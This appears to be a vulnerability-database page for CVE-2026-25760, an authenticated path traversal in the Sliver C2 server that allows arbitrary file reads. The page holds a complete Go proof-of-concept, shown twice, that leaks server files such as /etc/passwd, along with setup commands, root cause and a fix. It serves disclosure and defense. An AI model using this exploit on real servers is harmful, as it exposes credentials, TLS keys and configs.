Vulnerability-Lookup

GHSA-2286-HXV5-CMP2

Vulnerability from github – Published: 2026-02-05 21:57 – Updated: 2026-02-07 00:32

Summary

Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)

Details

Summary

A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.

Affected Component

Website content management (gRPC): WebsiteAddContent, Website, Websites
Server-side file read in Website.ToProtobuf

Impact

Arbitrary file read as the Sliver server OS user.
Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.

Root Cause

The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.

Vulnerable Code References

server/rpc/rpc-website.go:100 — accepts content.Path from operator RPC and persists it via website.AddContent
server/db/models/website.go:52 — reads from disk with filepath.Join(webContentDir, webcontent.Path) without validating or constraining webcontent.Path

Proof of Concept (PoC)

Steps (local test)

Build the server: bash go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server
Create an operator config (permission all for website operations): bash ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp
Start the daemon: bash ./sliver-server daemon -l 127.0.0.1 -p 31337
Run the PoC: bash GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts

PoC Code

package main

import (
    "context"
    "flag"
    "fmt"
    "os"
    "path/filepath"
    "runtime"
    "strings"
    "time"

    "github.com/bishopfox/sliver/client/assets"
    "github.com/bishopfox/sliver/client/transport"
    "github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
    var (
        configPath  string
        websiteName string
        targetPath  string
        webPath     string
        maxBytes    int
    )
    flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
    flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
    flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
    flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
    flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
    flag.Parse()

    if targetPath == "" {
        if runtime.GOOS == "windows" {
            targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
        } else {
            targetPath = "/etc/passwd"
        }
    }

    if webPath == "" {
        trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
        webPath = "../../../../../../../../" + trimmed
    }

    config, err := loadConfig(configPath)
    if err != nil {
        fatalf("config error: %v", err)
    }

    rpc, conn, err := transport.MTLSConnect(config)
    if err != nil {
        fatalf("connect error: %v", err)
    }
    defer conn.Close()

    ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
    defer cancel()

    _, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
        Name: websiteName,
        Contents: map[string]*clientpb.WebContent{
            webPath: {
                Path:        webPath,
                ContentType: "text/plain",
                Content:     []byte("poc"),
            },
        },
    })
    if err != nil {
        fatalf("WebsiteAddContent failed: %v", err)
    }

    resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
    if err != nil {
        fatalf("Website failed: %v", err)
    }

    var leaked *clientpb.WebContent
    for _, c := range resp.Contents {
        if c.Path == webPath {
            leaked = c
            break
        }
    }
    if leaked == nil {
        fatalf("did not find content for path %q", webPath)
    }

    data := leaked.Content
    if len(data) > maxBytes {
        data = data[:maxBytes]
    }

    fmt.Printf("[+] target: %s\n", targetPath)
    fmt.Printf("[+] web-path: %s\n", webPath)
    fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
    fmt.Printf("[+] preview:\n%s\n", string(data))
}

func loadConfig(path string) (*assets.ClientConfig, error) {
    if path != "" {
        return assets.ReadConfig(path)
    }
    configs := assets.GetConfigs()
    if len(configs) == 0 {
        return nil, fmt.Errorf("no configs found; use -config")
    }
    if len(configs) > 1 {
        return nil, fmt.Errorf("multiple configs found; use -config")
    }
    for _, c := range configs {
        return c, nil
    }
    return nil, fmt.Errorf("unexpected config error")
}

func fatalf(format string, args ...any) {
    fmt.Fprintf(os.Stderr, format+"\n", args...)
    os.Exit(1)
}

Expected Output (example)

[+] target: /etc/hosts
[+] web-path: ../../../../../../../../etc/hosts
[+] leaked bytes: 409
[+] preview:
127.0.0.1   localhost
...

Evidence (Screenshots)

path-traversal-poc

Why It Works

WebsiteAddContent accepts a path like ../../../../etc/hosts and stores it.
Website returns content by calling Website.ToProtobuf, which reads from disk using the stored Path value.
filepath.Join does not prevent traversal, so the server reads from outside the web directory.

Recommended Fix

Validate and reject paths that are absolute or contain .. in WebsiteAddContent (server side).
Canonicalize paths and enforce they remain within the web content directory.
Avoid reading content by Path in Website.ToProtobuf; read by content ID instead.

Notes

This issue requires an authenticated operator account with sufficient permissions (PermissionAll).
The PoC demonstrates reading /etc/hosts but can target any readable server file.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.10"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:57:14Z",
    "nvd_published_at": "2026-02-06T22:16:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nA Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.\n\n## Affected Component\n- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`\n- Server-side file read in `Website.ToProtobuf`\n\n## Impact\n- **Arbitrary file read** as the Sliver server OS user.\n- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.\n\n## Root Cause\nThe server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.\n\n## Vulnerable Code References\n- `server/rpc/rpc-website.go:100` \u2014 accepts `content.Path` from operator RPC and persists it via `website.AddContent`\n- `server/db/models/website.go:52` \u2014 reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`\n\n## Proof of Concept (PoC)\n\n### Steps (local test)\n1. Build the server:\n   ```bash\n   go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server\n   ```\n2. Create an operator config (permission `all` for website operations):\n   ```bash\n   ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp\n   ```\n3. Start the daemon:\n   ```bash\n   ./sliver-server daemon -l 127.0.0.1 -p 31337\n   ```\n4. Run the PoC:\n   ```bash\n   GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts\n   ```\n\n\n### PoC Code\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/bishopfox/sliver/client/assets\"\n\t\"github.com/bishopfox/sliver/client/transport\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n)\n\nfunc main() {\n\tvar (\n\t\tconfigPath  string\n\t\twebsiteName string\n\t\ttargetPath  string\n\t\twebPath     string\n\t\tmaxBytes    int\n\t)\n\tflag.StringVar(\u0026configPath, \"config\", \"\", \"path to sliver client config (.cfg)\")\n\tflag.StringVar(\u0026websiteName, \"website\", \"poc-site\", \"website name to use/create\")\n\tflag.StringVar(\u0026targetPath, \"target\", \"\", \"absolute server file path to read\")\n\tflag.StringVar(\u0026webPath, \"web-path\", \"\", \"override web path (defaults to traversal into target)\")\n\tflag.IntVar(\u0026maxBytes, \"max-bytes\", 1024, \"max bytes of leaked content to print\")\n\tflag.Parse()\n\n\tif targetPath == \"\" {\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\ttargetPath = `C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts`\n\t\t} else {\n\t\t\ttargetPath = \"/etc/passwd\"\n\t\t}\n\t}\n\n\tif webPath == \"\" {\n\t\ttrimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))\n\t\twebPath = \"../../../../../../../../\" + trimmed\n\t}\n\n\tconfig, err := loadConfig(configPath)\n\tif err != nil {\n\t\tfatalf(\"config error: %v\", err)\n\t}\n\n\trpc, conn, err := transport.MTLSConnect(config)\n\tif err != nil {\n\t\tfatalf(\"connect error: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\tdefer cancel()\n\n\t_, err = rpc.WebsiteAddContent(ctx, \u0026clientpb.WebsiteAddContent{\n\t\tName: websiteName,\n\t\tContents: map[string]*clientpb.WebContent{\n\t\t\twebPath: {\n\t\t\t\tPath:        webPath,\n\t\t\t\tContentType: \"text/plain\",\n\t\t\t\tContent:     []byte(\"poc\"),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfatalf(\"WebsiteAddContent failed: %v\", err)\n\t}\n\n\tresp, err := rpc.Website(ctx, \u0026clientpb.Website{Name: websiteName})\n\tif err != nil {\n\t\tfatalf(\"Website failed: %v\", err)\n\t}\n\n\tvar leaked *clientpb.WebContent\n\tfor _, c := range resp.Contents {\n\t\tif c.Path == webPath {\n\t\t\tleaked = c\n\t\t\tbreak\n\t\t}\n\t}\n\tif leaked == nil {\n\t\tfatalf(\"did not find content for path %q\", webPath)\n\t}\n\n\tdata := leaked.Content\n\tif len(data) \u003e maxBytes {\n\t\tdata = data[:maxBytes]\n\t}\n\n\tfmt.Printf(\"[+] target: %s\\n\", targetPath)\n\tfmt.Printf(\"[+] web-path: %s\\n\", webPath)\n\tfmt.Printf(\"[+] leaked bytes: %d\\n\", len(leaked.Content))\n\tfmt.Printf(\"[+] preview:\\n%s\\n\", string(data))\n}\n\nfunc loadConfig(path string) (*assets.ClientConfig, error) {\n\tif path != \"\" {\n\t\treturn assets.ReadConfig(path)\n\t}\n\tconfigs := assets.GetConfigs()\n\tif len(configs) == 0 {\n\t\treturn nil, fmt.Errorf(\"no configs found; use -config\")\n\t}\n\tif len(configs) \u003e 1 {\n\t\treturn nil, fmt.Errorf(\"multiple configs found; use -config\")\n\t}\n\tfor _, c := range configs {\n\t\treturn c, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected config error\")\n}\n\nfunc fatalf(format string, args ...any) {\n\tfmt.Fprintf(os.Stderr, format+\"\\n\", args...)\n\tos.Exit(1)\n}\n```\n\n### Expected Output (example)\n```\n[+] target: /etc/hosts\n[+] web-path: ../../../../../../../../etc/hosts\n[+] leaked bytes: 409\n[+] preview:\n127.0.0.1\tlocalhost\n...\n```\n\n## Evidence (Screenshots)\n\u003cimg width=\"930\" height=\"649\" alt=\"path-traversal-poc\" src=\"https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe\" /\u003e\n\n## Why It Works\n- `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it.\n- `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value.\n- `filepath.Join` does not prevent traversal, so the server reads from outside the web directory.\n\n## Recommended Fix\n- Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side).\n- Canonicalize paths and enforce they remain within the web content directory.\n- Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead.\n\n## Notes\n- This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`).\n- The PoC demonstrates reading `/etc/hosts` but can target any readable server file.",
  "id": "GHSA-2286-hxv5-cmp2",
  "modified": "2026-02-07T00:32:08Z",
  "published": "2026-02-05T21:57:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-2286-hxv5-cmp2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/818127349ccec812876693c4ca74ebf4350ec6b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)"
}

CVE-2026-25760 (GCVE-0-2026-25760)

Vulnerability from cvelistv5 – Published: 2026-02-06 21:32 – Updated: 2026-02-06 21:32

Title

Website Path Traversal / Arbitrary File Read (Authenticated) in Sliver

Summary

Sliver is a command and control framework that uses a custom Wireguard netstack. Prior to 1.6.11, a path traversal in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated path traversal / arbitrary file read issue, and it can expose credentials, configs, and keys. This vulnerability is fixed in 1.6.11.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	BishopFox	sliver	Affected: < 1.6.11

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-2286-HXV5-CMP2

Summary

Affected Component

Impact

Root Cause

Vulnerable Code References

Proof of Concept (PoC)

Steps (local test)

PoC Code

Expected Output (example)

Evidence (Screenshots)

Why It Works

Recommended Fix

Notes

CVE-2026-25760 (GCVE-0-2026-25760)

Tags

Sightings

Nomenclature